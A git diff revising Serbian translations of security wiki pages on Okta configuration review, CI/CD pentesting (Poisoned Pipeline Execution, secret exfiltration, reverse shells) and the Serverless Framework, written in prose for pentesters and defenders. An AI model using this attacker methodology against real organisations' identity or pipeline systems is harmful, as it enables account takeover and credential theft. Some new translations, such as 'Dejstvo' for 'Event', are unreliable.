+Iz perspektive napadača, ovo je veoma zanimljivo jer ćete moći da vidite **sve registrovane korisnike**, njihove **email** adrese, **grupe** kojima pripadaju, **profile** i čak **uređaje** (mobilne telefone zajedno sa njihovim operativnim sistemima).
Za pregled u beloj kutiji proverite da nema više od nekoliko "**Pending user action**" i "**Password reset**".
@@ -15,19 +15,19 @@ Za pregled u beloj kutiji proverite da nema više od nekoliko "**Pending user ac
Ovde možete pronaći sve kreirane grupe u Okta. Zanimljivo je razumeti različite grupe (set **dozvola**) koje mogu biti dodeljene **korisnicima**.\
Moguće je videti **ljude uključene u grupe** i **aplikacije dodeljene** svakoj grupi.
-Naravno, svaka grupa sa imenom **admin** je zanimljiva, posebno grupa **Global Administrators**, proverite članove da saznate ko su najprivilegovaniji članovi.
+Naravno, svaka grupa sa imenom **admin** je zanimljiva, posebno grupa **Global Administrators,** proverite članove da saznate ko su najprivilegovaniji članovi.
-Iz pregleda u beloj kutiji, **ne bi trebalo da bude više od 5 globalnih admina** (bolje je ako ih ima samo 2 ili 3).
+Iz pregleda u beloj kutiji, ne **bi trebalo da bude više od 5 globalnih admina** (bolje je ako ih ima samo 2 ili 3).
### Devices
-Ovde pronađite **listu svih uređaja** svih korisnika. Takođe možete videti da li se **aktivno upravlja** njima ili ne.
+Ovde pronađite **listu svih uređaja** svih korisnika. Takođe možete videti da li je **aktivno upravljano** ili ne.
### Profile Editor
Ovde je moguće posmatrati kako se ključne informacije kao što su imena, prezimena, emailovi, korisnička imena... dele između Okta i drugih aplikacija. Ovo je zanimljivo jer ako korisnik može **modifikovati u Okta polje** (kao što je njegovo ime ili email) koje se zatim koristi od strane **spoljne aplikacije** za **identifikaciju** korisnika, insajder bi mogao pokušati da **preuzme druge naloge**.
-Štaviše, u profilu **`User (default)`** iz Okta možete videti **koja polja** svaki **korisnik** ima i koja su **pisiva** od strane korisnika. Ako ne možete videti admin panel, jednostavno idite na **ažuriranje informacija o profilu** i videćete koja polja možete ažurirati (napomena: da biste ažurirali email adresu, moraćete da je verifikujete).
+Štaviše, u profilu **`User (default)`** iz Okta možete videti **koja polja** svaki **korisnik** ima i koja su **pisiva** od strane korisnika. Ako ne možete videti admin panel, jednostavno idite na **ažuriranje informacija o profilu** i videćete koja polja možete ažurirati (napomena da za ažuriranje email adrese morate da je verifikujete).
### Directory Integrations
@@ -39,23 +39,23 @@ Nisam to video, ali pretpostavljam da je zanimljivo otkriti **druge direktorijum
Izvor profila je **aplikacija koja deluje kao izvor istine** za atribute korisničkog profila. Korisnik može biti izvor samo iz jedne aplikacije ili direktorijuma u isto vreme.
-Nisam to video, tako da su sve informacije o bezbednosti i hakovanju u vezi sa ovom opcijom dobrodošle.
+Nisam to video, pa su sve informacije o bezbednosti i hakovanju u vezi sa ovom opcijom dobrodošle.
## Customizations
### Brands
-Proverite u **Domains** tabu ove sekcije email adrese korišćene za slanje emailova i prilagođeni domen unutar Okta kompanije (što verovatno već znate).
+Proverite u **Domains** tabu ovog dela email adrese korišćene za slanje emailova i prilagođeni domen unutar Okta kompanije (što verovatno već znate).
Štaviše, u **Setting** tabu, ako ste admin, možete "**Use a custom sign-out page**" i postaviti prilagođeni URL.
### SMS
-Ovde nema ništa zanimljivo.
+Nema ništa zanimljivo ovde.
### End-User Dashboard
-Ovde možete pronaći aplikacije koje su konfigurirane, ali ćemo detalje o njima videti kasnije u drugoj sekciji.
+Ovde možete pronaći konfigurirane aplikacije, ali ćemo videti detalje o njima kasnije u drugom odeljku.
### Other
@@ -91,9 +91,9 @@ Nisam to video korišćeno, ali pretpostavljam da je iz odbrambene tačke gledi
- **CAPTCHA integration**: Preporučuje se postavljanje barem nevidljivog reCaptche
- **Organization Security**: Sve može biti omogućeno i aktivacione email adrese ne bi trebale dugo trajati (7 dana je u redu)
- **User enumeration prevention**: Obe bi trebale biti omogućene
-- Imajte na umu da User Enumeration Prevention ne stupa na snagu ako su dozvoljeni bilo koji od sledećih uslova (Pogledajte [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) za više informacija):
-- Samostalna registracija
-- JIT tokovi sa email autentifikacijom
+- Napomena da User Enumeration Prevention ne stupa na snagu ako je bilo koja od sledećih uslova dozvoljena (Pogledajte [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) za više informacija):
+- Self-Service Registration
+- JIT flows with email authentication
- **Okta ThreatInsight settings**: Zabeležite i primenite bezbednost na osnovu nivoa pretnje
### HealthInsight
@@ -108,13 +108,13 @@ U **Enrollment** tabu možete videti kako su one koje su obavezne ili opcione:
-Preporučuje se onemogućavanje telefona. Najjače su verovatno kombinacije lozinke, emaila i WebAuthn.
+Preporučuje se onemogućavanje telefona. Najjače su verovatno kombinacija lozinke, emaila i WebAuthn.
### Authentication policies
Svaka aplikacija ima politiku autentifikacije. Politika autentifikacije proverava da li korisnici koji pokušavaju da se prijave u aplikaciju ispunjavaju određene uslove, i primenjuje zahteve faktora na osnovu tih uslova.
-Ovde možete pronaći **zahteve za pristup svakoj aplikaciji**. Preporučuje se da se zahteva barem lozinka i još jedna metoda za svaku aplikaciju. Ali ako kao napadač pronađete nešto slabije, mogli biste to napasti.
+Ovde možete pronaći **zahteve za pristup svakoj aplikaciji**. Preporučuje se da se zahteva barem lozinka i još jedna metoda za svaku aplikaciju. Ali ako kao napadač pronađete nešto slabije, možda ćete moći da napadnete to.
### Global Session Policy
@@ -122,13 +122,13 @@ Ovde možete pronaći politike sesije dodeljene različitim grupama. Na primer:
-Preporučuje se zahtevati MFA, ograničiti trajanje sesije na nekoliko sati, ne čuvati kolačiće sesije preko ekstenzija pretraživača i ograničiti lokaciju i provajdera identiteta (ako je to moguće). Na primer, ako svaki korisnik treba da se prijavi iz određene zemlje, mogli biste dozvoliti samo tu lokaciju.
+Preporučuje se da se zahteva MFA, ograniči trajanje sesije na nekoliko sati, ne čuvajte kolačiće sesije preko ekstenzija pretraživača i ograničite lokaciju i Identity Provider (ako je to moguće). Na primer, ako svaki korisnik treba da se prijavi iz određene zemlje, mogli biste dozvoliti samo tu lokaciju.
### Identity Providers
-Provajderi identiteta (IdP) su usluge koje **upravljaju korisničkim nalozima**. Dodavanje IdP-a u Okta omogućava vašim krajnjim korisnicima da se **samo-registruju** sa vašim prilagođenim aplikacijama prvo autentifikovanjem sa društvenim nalogom ili pametnom karticom.
+Identity Providers (IdPs) su usluge koje **upravljaju korisničkim nalozima**. Dodavanje IdP-a u Okta omogućava vašim krajnjim korisnicima da se **samo-registruju** sa vašim prilagođenim aplikacijama prvo autentifikovanjem sa društvenim nalogom ili pametnom karticom.
-Na stranici Provajderi identiteta možete dodati društvene prijave (IdP) i konfigurisati Okta kao provajdera usluga (SP) dodavanjem ulaznog SAML-a. Nakon što dodate IdP, možete postaviti pravila usmeravanja kako biste usmerili korisnike ka IdP-u na osnovu konteksta, kao što su lokacija korisnika, uređaj ili email domena.
+Na stranici Identity Providers, možete dodati društvene prijave (IdPs) i konfigurisati Okta kao provajdera usluga (SP) dodavanjem ulaznog SAML-a. Nakon što dodate IdP-e, možete postaviti pravila usmeravanja da usmerite korisnike ka IdP-u na osnovu konteksta, kao što su lokacija korisnika, uređaj ili email domena.
**Ako je bilo koji provajder identiteta konfiguran** iz perspektive napadača i branioca proverite tu konfiguraciju i **da li je izvor zaista pouzdan** jer bi napadač koji ga kompromituje mogao takođe dobiti pristup Okta okruženju.
@@ -154,7 +154,7 @@ Iz perspektive napadača zanimljivo je znati koje IP adrese su dozvoljene (i pro
### API
-Možete kreirati Okta API tokene na ovoj stranici, i videti one koji su **kreirani**, njihove **privilegije**, **vreme isteka** i **Izvorne URL-ove**. Imajte na umu da se API tokeni generišu sa dozvolama korisnika koji je kreirao token i važe samo ako je **korisnik** koji ih je kreirao **aktivan**.
+Možete kreirati Okta API tokene na ovoj stranici, i videti one koji su **kreirani**, njihove **privilegije**, **vreme isteka** i **Origin URLs**. Napomena da se API tokeni generišu sa dozvolama korisnika koji je kreirao token i važe samo ako je **korisnik** koji ih je kreirao **aktivan**.
**Trusted Origins** omogućavaju pristup veb sajtovima koje kontrolišete i kojima verujete da pristupaju vašem Okta okruženju putem Okta API-ja.
@@ -166,13 +166,13 @@ Ne bi trebalo da bude puno API tokena, jer ako ih ima, napadač bi mogao pokuša
Automatizacije vam omogućavaju da kreirate automatske akcije koje se pokreću na osnovu skupa uslova okidača koji se javljaju tokom životnog ciklusa krajnjih korisnika.
-Na primer, uslov bi mogao biti "Neaktivnost korisnika u Okta" ili "Isticanje lozinke korisnika u Okta" i akcija bi mogla biti "Pošaljite email korisniku" ili "Promenite stanje životnog ciklusa korisnika u Okta".
+Na primer, uslov bi mogao biti "Neaktivnost korisnika u Okta" ili "Istek lozinke korisnika u Okta" i akcija bi mogla biti "Pošaljite email korisniku" ili "Promenite stanje životnog ciklusa korisnika u Okta".
## Reports
### Reports
-Preuzmite logove. Oni se **šalju** na **email adresu** trenutnog naloga.
+Preuzmite logove. Oni su **poslati** na **email adresu** trenutnog naloga.
### System Log
@@ -190,7 +190,7 @@ Proverite dostignute API limite.
### Account
-Ovde možete pronaći **opšte informacije** o Okta okruženju, kao što su ime kompanije, adresa, **email kontakt za fakturiranje**, **email kontakt za tehničku podršku** i takođe ko bi trebao primati Okta ažuriranja i koja vrsta Okta ažuriranja.
+Ovde možete pronaći **opšte informacije** o Okta okruženju, kao što su ime kompanije, adresa, **email kontakt za fakturiranje**, **email tehnički kontakt** i takođe ko bi trebao da prima Okta ažuriranja i koje vrste Okta ažuriranja.
### Downloads
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 380a58275..a41e171d0 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Pentesting CI/CD Metodologija
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
-VCS označava **Sistem za kontrolu verzija**, ovaj sistem omogućava programerima da **upravljaju svojim izvorni kodom**. Najčešći je **git** i obično ćete pronaći kompanije koje ga koriste na jednoj od sledećih **platformi**:
+VCS označava **Sistem Kontrole Verzija**, ovaj sistem omogućava programerima da **upravljaju svojim izvorni kodom**. Najčešći je **git** i obično ćete naći kompanije koje ga koriste na jednoj od sledećih **platformi**:
- Github
- Gitlab
@@ -16,23 +16,23 @@ VCS označava **Sistem za kontrolu verzija**, ovaj sistem omogućava programerim
## CI/CD Pipelines
-CI/CD pipelines omogućavaju programerima da **automatizuju izvršenje koda** za različite svrhe, uključujući izgradnju, testiranje i implementaciju aplikacija. Ovi automatizovani radni tokovi se **pokreću specifičnim akcijama**, kao što su push-ovi koda, pull zahtevi ili zakazani zadaci. Oni su korisni za pojednostavljenje procesa od razvoja do produkcije.
+CI/CD pipelines omogućavaju programerima da **automatizuju izvršavanje koda** za različite svrhe, uključujući izgradnju, testiranje i implementaciju aplikacija. Ovi automatizovani radni tokovi se **pokreću specifičnim akcijama**, kao što su push-ovi koda, pull zahtevi ili zakazani zadaci. Korisni su za pojednostavljenje procesa od razvoja do produkcije.
Međutim, ovi sistemi moraju biti **izvršeni negde** i obično sa **privilegovanim akreditivima za implementaciju koda ili pristup osetljivim informacijama**.
-## VCS Pentesting Methodology
+## VCS Pentesting Metodologija
> [!NOTE]
> Čak i ako neke VCS platforme omogućavaju kreiranje pipelines, u ovoj sekciji ćemo analizirati samo potencijalne napade na kontrolu izvornog koda.
-Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama dodeljenim unutar ove platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadač može zloupotrebiti:
+Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama dodeljenim unutar ove platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadači mogu zloupotrebiti:
-- **Leaking**: Ako vaš kod sadrži leak-ove u commit-ima i napadač može pristupiti repozitorijumu (jer je javan ili jer ima pristup), mogao bi otkriti leak-ove.
+- **Leaking**: Ako vaš kod sadrži curenja u commit-ima i napadač može pristupiti repozitorijumu (jer je javan ili jer ima pristup), mogao bi otkriti curenja.
- **Pristup**: Ako napadač može **pristupiti nalogu unutar VCS platforme**, mogao bi dobiti **veću vidljivost i dozvole**.
- **Registracija**: Neke platforme će samo omogućiti spoljnim korisnicima da kreiraju nalog.
- **SSO**: Neke platforme neće dozvoliti korisnicima da se registruju, ali će omogućiti svakome da pristupi sa važećim SSO (tako da napadač može koristiti svoj github nalog da uđe, na primer).
- **Akreditivi**: Korisničko ime+Lozinka, lični tokeni, ssh ključevi, Oauth tokeni, kolačići... postoji nekoliko vrsta tokena koje korisnik može ukrasti da bi na neki način pristupio repozitorijumu.
-- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** nevidljivim tajnama, **napadač bi mogao da ih zloupotrebi**.
+- **Webhook-ovi**: VCS platforme omogućavaju generisanje webhook-ova. Ako nisu **zaštićeni** nevidljivim tajnama, **napadač bi mogao da ih zloupotrebi**.
- Ako nema tajne, napadač bi mogao zloupotrebiti webhook treće strane
- Ako je tajna u URL-u, isto se dešava i napadač takođe ima tajnu
- **Kompromitovanje koda:** Ako zlonameran akter ima neku vrstu **write** pristupa nad repozitorijumima, mogao bi pokušati da **ubaci zlonamerni kod**. Da bi bio uspešan, možda će morati da **obiđe zaštite grana**. Ove akcije se mogu izvesti sa različitim ciljevima na umu:
@@ -40,16 +40,16 @@ Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije
- Kompromitovati glavnu (ili druge grane) da bi **kompromitovao mašine programera** (jer obično izvršavaju testove, terraform ili druge stvari unutar repozitorijuma na svojim mašinama).
- **Kompromitovati pipeline** (proverite sledeću sekciju)
-## Pipelines Pentesting Methodology
+## Pipelines Pentesting Metodologija
-Najčešći način da se definiše pipeline je korišćenjem **CI konfiguracione datoteke smeštene u repozitorijumu** koji pipeline gradi. Ova datoteka opisuje redosled izvršenih poslova, uslove koji utiču na tok i postavke okruženja za izgradnju.\
-Ove datoteke obično imaju dosledno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i YAML datoteke GitHub Actions smeštene pod .github/workflows. Kada se pokrene, posao pipeline-a **povlači kod** iz odabranog izvora (npr. commit / grana), i **izvodi komande navedene u CI konfiguracionoj datoteci** protiv tog koda.
+Najčešći način da se definiše pipeline je korišćenjem **CI konfiguracione datoteke koja se hostuje u repozitorijumu** koji pipeline gradi. Ova datoteka opisuje redosled izvršenih poslova, uslove koji utiču na tok i postavke okruženja za izgradnju.\
+Ove datoteke obično imaju dosledno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i YAML datoteke GitHub Actions smeštene pod .github/workflows. Kada se pokrene, posao pipeline-a **povlači kod** iz odabranog izvora (npr. commit / grana), i **izvršava komande navedene u CI konfiguracionoj datoteci** protiv tog koda.
Stoga je krajnji cilj napadača da na neki način **kompromituje te konfiguracione datoteke** ili **komande koje izvršavaju**.
-### PPE - Poisoned Pipeline Execution
+### PPE - Izvršenje Zagađenog Pipeline-a
-Putanja Poisoned Pipeline Execution (PPE) koristi dozvole u SCM repozitorijumu da manipuliše CI pipeline-om i izvrši štetne komande. Korisnici sa potrebnim dozvolama mogu modifikovati CI konfiguracione datoteke ili druge datoteke koje koristi posao pipeline-a da uključe zlonamerne komande. Ovo "otrovava" CI pipeline, što dovodi do izvršenja ovih zlonamernih komandi.
+Putanja Izvršenja Zagađenog Pipeline-a (PPE) koristi dozvole u SCM repozitorijumu da manipuliše CI pipeline-om i izvršava štetne komande. Korisnici sa potrebnim dozvolama mogu modifikovati CI konfiguracione datoteke ili druge datoteke koje koristi posao pipeline-a da uključe zlonamerne komande. Ovo "zagađuje" CI pipeline, što dovodi do izvršenja ovih zlonamernih komandi.
Da bi zlonameran akter bio uspešan u izvođenju PPE napada, mora biti u mogućnosti da:
@@ -60,44 +60,44 @@ Da bi zlonameran akter bio uspešan u izvođenju PPE napada, mora biti u mogućn
Postoje 3 vrste PPE:
-- **D-PPE**: **Direktni PPE** napad se dešava kada akter **modifikuje CI konfiguraciju** datoteke koja će biti izvršena.
-- **I-DDE**: **Indirektni PPE** napad se dešava kada akter **modifikuje** **datoteku** na koju se CI konfiguraciona datoteka oslanja (kao što je make datoteka ili terraform konfiguracija).
-- **Javni PPE ili 3PE**: U nekim slučajevima pipelines mogu biti **pokrenuti od strane korisnika koji nemaju write pristup u repozitorijumu** (i koji možda nisu ni deo organizacije) jer mogu poslati PR.
-- **3PE Injekcija komandi**: Obično, CI/CD pipelines će **postaviti promenljive okruženja** sa **informacijama o PR-u**. Ako tu vrednost može kontrolisati napadač (kao što je naslov PR-a) i koristi se na **opasnom mestu** (kao što je izvršavanje **sh komandi**), napadač može **ubaciti komande tamo**.
+- **D-PPE**: **Direktan PPE** napad se dešava kada akter **modifikuje CI konfiguraciju** datoteku koja će biti izvršena.
+- **I-DDE**: **Indirektan PPE** napad se dešava kada akter **modifikuje** **datoteku** na koju se CI konfiguraciona datoteka oslanja (kao što je make datoteka ili terraform konfiguracija).
+- **Javni PPE ili 3PE**: U nekim slučajevima, pipelines mogu biti **pokrenuti od strane korisnika koji nemaju write pristup u repozitorijumu** (i koji možda čak nisu ni deo organizacije) jer mogu poslati PR.
+- **3PE Injekcija Komandi**: Obično, CI/CD pipelines će **postaviti promenljive okruženja** sa **informacijama o PR-u**. Ako tu vrednost može kontrolisati napadač (kao što je naslov PR-a) i koristi se na **opasnom mestu** (kao što je izvršavanje **sh komandi**), napadač može **ubaciti komande tamo**.
-### Exploitation Benefits
+### Prednosti Eksploatacije
-Poznavanje 3 vrste za toksičnost pipeline-a, hajde da proverimo šta napadač može dobiti nakon uspešne eksploatacije:
+Poznavanje 3 vrste za zagađenje pipeline-a, hajde da proverimo šta napadač može dobiti nakon uspešne eksploatacije:
- **Tajne**: Kao što je ranije pomenuto, pipelines zahtevaju **privilegije** za svoje poslove (preuzimanje koda, izgradnja, implementacija...) i te privilegije se obično **dodeljuju u tajnama**. Ove tajne su obično dostupne putem **env promenljivih ili datoteka unutar sistema**. Stoga će napadač uvek pokušati da eksfiltrira što više tajni.
- U zavisnosti od platforme pipeline-a, napadač **može morati da specificira tajne u konfiguraciji**. To znači da ako napadač ne može da modifikuje CI konfiguracioni pipeline (**I-PPE**, na primer), može **samo eksfiltrirati tajne koje taj pipeline ima**.
- **Računanje**: Kod se izvršava negde, u zavisnosti od toga gde se izvršava, napadač bi mogao biti u mogućnosti da se dalje preusmeri.
-- **Na lokaciji**: Ako se pipelines izvršavaju na lokaciji, napadač bi mogao završiti u **internoj mreži sa pristupom više resursima**.
-- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloudu**, ali takođe bi mogao **eksfiltrirati** IAM uloge/service accounts **tokena** iz njega da bi dobio **dalji pristup unutar clouda**.
-- **Mašine platforme**: Ponekad će poslovi biti izvršeni unutar **mašina platforme pipelines**, koje obično su unutar clouda sa **nema više pristupa**.
+- **Na Mestu**: Ako se pipelines izvršavaju na mestu, napadač bi mogao završiti u **internoj mreži sa pristupom više resursima**.
+- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloud-u**, ali takođe bi mogao **eksfiltrirati** IAM uloge/token-e servisnih naloga **iz njega** da bi dobio **dalji pristup unutar cloud-a**.
+- **Mašine platforme**: Ponekad će poslovi biti izvršeni unutar **mašina platforme pipelines**, koje obično su unutar cloud-a sa **nema više pristupa**.
- **Izaberi to:** Ponekad će **platforma pipelines imati konfigurisanih nekoliko mašina** i ako možete **modifikovati CI konfiguracionu datoteku**, možete **naznačiti gde želite da izvršite zlonamerni kod**. U ovoj situaciji, napadač će verovatno pokrenuti reverznu ljusku na svakoj mogućoj mašini da pokuša da je dalje eksploatiše.
-- **Kompromitovanje produkcije**: Ako ste unutar pipeline-a i konačna verzija se gradi i implementira iz njega, mogli biste **kompromitovati kod koji će na kraju biti pokrenut u produkciji**.
+- **Kompromitovanje produkcije**: Ako ste unutar pipeline-a i konačna verzija se gradi i implementira iz njega, mogli biste **kompromitovati kod koji će se na kraju izvršavati u produkciji**.
-## More relevant info
+## Više relevantnih informacija
-### Tools & CIS Benchmark
+### Alati & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je open-source alat za reviziju vašeg softverskog lanca snabdevanja za bezbednosnu usklađenost zasnovan na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Revizija se fokusira na ceo SDLC proces, gde može otkriti rizike od vremena koda do vremena implementacije.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je alat otvorenog koda za reviziju vašeg softverskog lanca snabdevanja za bezbednosnu usklađenost zasnovan na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Revizija se fokusira na ceo SDLC proces, gde može otkriti rizike od vremena koda do vremena implementacije.
-### Top 10 CI/CD Security Risk
+### Top 10 CI/CD Bezbednosnih Rizika
Proverite ovaj zanimljiv članak o top 10 CI/CD rizicima prema Cider-u: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
-### Labs
+### Laboratorije
- Na svakoj platformi koju možete pokrenuti lokalno naći ćete kako da je pokrenete lokalno tako da je možete konfigurisati kako želite da je testirate
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Gitea + Jenkins laboratorija: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
-### Automatic Tools
+### Automatski Alati
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** je alat za statičku analizu koda za infrastrukturu kao kod.
-## References
+## Reference
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index 72d85ad7c..70e04985b 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,8 +1,8 @@
-# Serverless.com Bezbednost
+# Serverless.com Security
{{#include ../banners/hacktricks-training.md}}
-## Osnovne Informacije
+## Osnovne informacije
### Organizacija
@@ -32,9 +32,9 @@ handler: handler.hello
Funkcija
-Jedna **Funkcija** predstavlja jednu serverless funkciju, kao što je AWS Lambda funkcija. Sadrži kod koji se izvršava kao odgovor na događaje.
+**Funkcija** predstavlja jednu serverless funkciju, kao što je AWS Lambda funkcija. Sadrži kod koji se izvršava kao odgovor na događaje.
-Definira se u odeljku `functions` u `serverless.yml`, specificirajući handler, runtime, događaje, promenljive okruženja i druge postavke.
+Definira se u odeljku `functions` u `serverless.yml`, navodeći handler, runtime, događaje, promenljive okruženja i druge postavke.
```yaml
functions:
hello:
@@ -48,11 +48,11 @@ method: get
-Догађај
+Dejstvo
-**Догађаји** су тригери који активирају ваше серверлес функције. Они дефинишу како и када функција треба да се изврши.
+**Dejstva** su okidači koji pozivaju vaše serverless funkcije. Oni definišu kako i kada funkcija treba da se izvrši.
-Уобичајени типови догађаја укључују HTTP захтеве, заказане догађаје (cron послови), догађаје базе података, учитавање датотека и још много тога.
+Uobičajeni tipovi dejstava uključuju HTTP zahteve, zakazane događaje (cron poslovi), događaje iz baze podataka, otpremanje fajlova i još mnogo toga.
```yaml
functions:
hello:
@@ -72,7 +72,7 @@ rate: rate(10 minutes)
**Resursi** vam omogućavaju da definišete dodatne cloud resurse na kojima vaša usluga zavisi, kao što su baze podataka, skladišni bucket-i ili IAM uloge.
-Oni se definišu u `resources` sekciji, često koristeći CloudFormation sintaksu za AWS.
+Oni se definišu u okviru `resources` sekcije, često koristeći CloudFormation sintaksu za AWS.
```yaml
resources:
Resources:
@@ -112,12 +112,12 @@ stage: dev
Faza i Region
-Faza predstavlja različite okruženja (npr., razvoj, testiranje, proizvodnja) gde vaša usluga može biti postavljena. Omogućava konfiguracije i postavke specifične za okruženje.
+Faza predstavlja različite okruženja (npr. razvoj, testiranje, proizvodnja) gde vaša usluga može biti postavljena. Omogućava konfiguracije i postavke specifične za okruženje.
```yaml
provider:
stage: dev
```
-Region definiše geografsku oblast u kojoj će vaši resursi biti postavljeni. Važno je za latenciju, usklađenost i dostupnost.
+Region definiše geografsku oblast u kojoj će vaši resursi biti postavljeni. To je važno za latenciju, usklađenost i dostupnost.
```yaml
provider:
region: us-west-2
@@ -128,7 +128,7 @@ region: us-west-2
Plugins
-**Plugins** proširuju funkcionalnost Serverless Framework-a dodavanjem novih funkcija ili integracijom sa drugim alatima i uslugama. Definisani su u `plugins` sekciji i instaliraju se putem npm-a.
+**Plugins** proširuju funkcionalnost Serverless Framework-a dodavanjem novih funkcija ili integracijom sa drugim alatima i uslugama. Definišu se u sekciji `plugins` i instaliraju putem npm-a.
```yaml
plugins:
- serverless-offline
@@ -138,9 +138,9 @@ plugins:
-Layers
+ slojevi
-**Layers** omogućavaju da pakujete i upravljate deljenim kodom ili zavisnostima odvojeno od vaših funkcija. Ovo promoviše ponovnu upotrebu i smanjuje veličine paketa za implementaciju. Definišu se u `layers` sekciji i referenciraju ih funkcije.
+** slojevi ** vam omogućavaju da pakujete i upravljate deljenim kodom ili zavisnostima odvojeno od vaših funkcija. To promoviše ponovnu upotrebu i smanjuje veličine paketa za implementaciju. Definišu se u odeljku `layers` i pozivaju ih funkcije.
```yaml
layers:
commonLibs:
@@ -169,7 +169,7 @@ environment:
TABLE_NAME: ${self:custom.tableName}
```
-* **Prilagođene Promenljive:** `custom` sekcija se koristi za definisanje korisničkih promenljivih i konfiguracija koje se mogu ponovo koristiti kroz `serverless.yml`.
+* **Prilagođene Promenljive:** `custom` sekcija se koristi za definisanje korisnički specifičnih promenljivih i konfiguracija koje se mogu ponovo koristiti kroz `serverless.yml`.
```yaml
custom:
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Promenljive okruženja
-**Promenljive** vam omogućavaju da prosledite konfiguracione postavke i tajne vašim funkcijama bez hardkodiranja. Definisane su u `environment` sekciji za provajdera ili pojedinačne funkcije.
+**Promenljive** vam omogućavaju da prosledite podešavanja konfiguracije i tajne vašim funkcijama bez hardkodiranja. Definisane su u `environment` sekciji za provajdera ili pojedinačne funkcije.
```yaml
provider:
environment:
@@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName}
Zavisnosti
-**Zavisnosti** upravljaju spoljnim bibliotekama i modulima koje vaše funkcije zahtevaju. Obično se upravljaju putem menadžera paketa kao što su npm ili pip, i pakovane su sa vašim paketom za implementaciju koristeći alate ili dodatke kao što je `serverless-webpack`.
+**Zavisnosti** upravljaju spoljnim bibliotekama i modulima koje vaše funkcije zahtevaju. Obično se upravlja putem menadžera paketa kao što su npm ili pip, i paketu za implementaciju se dodaju koristeći alate ili dodatke kao što je `serverless-webpack`.
```yaml
plugins:
- serverless-webpack
@@ -254,7 +254,7 @@ plugins:
Hooks
-**Hooks** omogućavaju vam da pokrenete prilagođene skripte ili komande u određenim tačkama u životnom ciklusu implementacije. Definišu se korišćenjem dodataka ili unutar `serverless.yml` da bi se izvršile radnje pre ili posle implementacija.
+**Hooks** omogućavaju pokretanje prilagođenih skripti ili komandi u određenim tačkama u životnom ciklusu implementacije. Definišu se korišćenjem dodataka ili unutar `serverless.yml` da bi se izvršile radnje pre ili posle implementacija.
```yaml
custom:
hooks:
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-Ovo bi trebalo da kreira **aplikaciju** pod nazivom `tutorialapp` koju možete proveriti na [serverless.com](serverless.com-security.md) i folder pod nazivom `Tutorial` sa datotekom **`handler.js`** koja sadrži neki JS kod sa `helloworld` kodom i datotekom **`serverless.yml`** koja deklarira tu funkciju:
+Ovo bi trebalo da kreira **aplikaciju** pod nazivom `tutorialapp` koju možete proveriti na [serverless.com](serverless.com-security.md) i folder pod nazivom `Tutorial` sa fajlom **`handler.js`** koji sadrži neki JS kod sa `helloworld` kodom i fajlom **`serverless.yml`** koji deklarira tu funkciju:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -399,7 +399,7 @@ Type: String
```
-5. U tutorijalu se traži da se kreira fajl `createCustomer.js` koji će u suštini kreirati novu API tačku koju obrađuje novi JS fajl i traži se da se izmeni fajl `serverless.yml` kako bi se generisala **nova DynamoDB tabela**, definisala **promenljiva okruženja**, uloga koja će koristiti generisane lambde.
+5. Tutorijal traži da se kreira fajl `createCustomer.js` koji će u suštini kreirati novu API tačku koju obrađuje novi JS fajl i traži da se izmeni fajl `serverless.yml` kako bi se generisala **nova DynamoDB tabela**, definisala **promenljiva okruženja**, i uloga koja će koristiti generisane lambde.
{{#tabs }}
{{#tab name="createCustomer.js" }}
@@ -481,13 +481,13 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
+6. Implementirajte ga koristeći **`serverless deploy`**
